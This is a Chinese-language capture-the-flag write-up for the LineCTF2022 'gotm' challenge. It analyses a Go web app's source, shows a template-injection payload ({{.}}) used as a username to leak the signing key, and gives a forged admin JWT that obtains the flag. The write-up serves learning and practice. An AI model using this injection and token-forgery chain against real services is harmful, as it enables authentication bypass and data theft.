[LineCTF2022]gotm ( golang SSTI + JWT伪造 )

[LineCTF2022]gotm ( golang SSTI + JWT伪造 ),第1张

[LineCTF2022]gotm

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!

给了源码,分析一下几个路由和对应的请求处理函数

注册功能

http.HandleFunc("/regist", regist_handler)

func regist_handler(w http.ResponseWriter, r *http.Request) {
    uid := r.FormValue("id")
    upw := r.FormValue("pw")

    if uid == "" || upw == "" {
        return
    }

    if get_account(uid).id != "" {
        w.WriteHeader(http.StatusForbidden)
        return
    }
    if len(acc) > 4 {
        clear_account()
    }
    new_acc := Account{uid, upw, false, secret_key} //根据get传入的id和pw创建新的用户
    acc = append(acc, new_acc)

    p := Resp{true, ""}
    res, err := json.Marshal(p)
    if err != nil {
    }
    w.Write(res)
    return
}

最上面定义了Account结构

type Account struct {
    id         string
    pw         string
    is_admin   bool
    secret_key string
}

注册可以传

/regist?id=11&pw=123

登陆功能

http.HandleFunc("/auth", auth_handler)

func auth_handler(w http.ResponseWriter, r *http.Request) {
    uid := r.FormValue("id")
    upw := r.FormValue("pw")
    if uid == "" || upw == "" {
        return
    }
    if len(acc) > 1024 {
        clear_account()
    }
    user_acc := get_account(uid)
    if user_acc.id != "" && user_acc.pw == upw {    //检验id和pw
        token, err := jwt_encode(user_acc.id, user_acc.is_admin)
        if err != nil {
            return
        }
        p := TokenResp{true, token}     //返回token
        res, err := json.Marshal(p)
        if err != nil {
        }
        w.Write(res)
        return
    }
    w.WriteHeader(http.StatusForbidden)
    return
}

登陆

/auth?id=11&pw=123

http.HandleFunc("/", root_handler)

func root_handler(w http.ResponseWriter, r *http.Request) {
    token := r.Header.Get("X-Token")
    if token != "" {    //根据token解析出id,根据uid取出对应account
        id, _ := jwt_decode(token)
        acc := get_account(id)
        tpl, err := template.New("").Parse("Logged in as " + acc.id)    //acc.id可能有模板注入
        if err != nil {
        }
        tpl.Execute(w, &acc)
    } else {

        return
    }
}

go的tpl用法:pkg.go.dev/text/template
go ssti讲解可以看这个师傅tyskill.github.io/posts/gossti/
get_account函数

func get_account(uid string) Account {
    for i := range acc {
        if acc[i].id == uid {
            return acc[i]
        }
    }
    return Account{}
}

最后看我们需要的flag路由

http.HandleFunc("/flag", flag_handler)

func flag_handler(w http.ResponseWriter, r *http.Request) {
    token := r.Header.Get("X-Token")
    if token != "" {
        id, is_admin := jwt_decode(token)
        if is_admin == true {   //jwt数据is_admin为true即可得到flag
            p := Resp{true, "Hi " + id + ", flag is " + flag}
            res, err := json.Marshal(p)
            if err != nil {
            }
            w.Write(res)
            return
        } else {
            w.WriteHeader(http.StatusForbidden)
            return
        }
    }
}

我们的思路是利用ssti得到secret_key,再伪造jwt即可得到flag。

如果是正常思路我们应该{{.secret_key}}注入得到key字段,但是root_handler函数中得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}会返回空

我们的payload应该是{{.}},可以得到 Account结构的所有字段

/regist?id={{.}}&pw=123

/auth?id={{.}}&pw=123 
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}

/
X-Token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss

得到key this_is_f4Ke_key,伪造jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEyMyIsImlzX2FkbWluIjp0cnVlfQ.rBQny1chaRlrNfPY9FNTRtQWHZCEeYZQL1liY1qy-sI

得到flag

参考wp:adragos.ro/line-ctf-2022/#gotm

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/989930.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存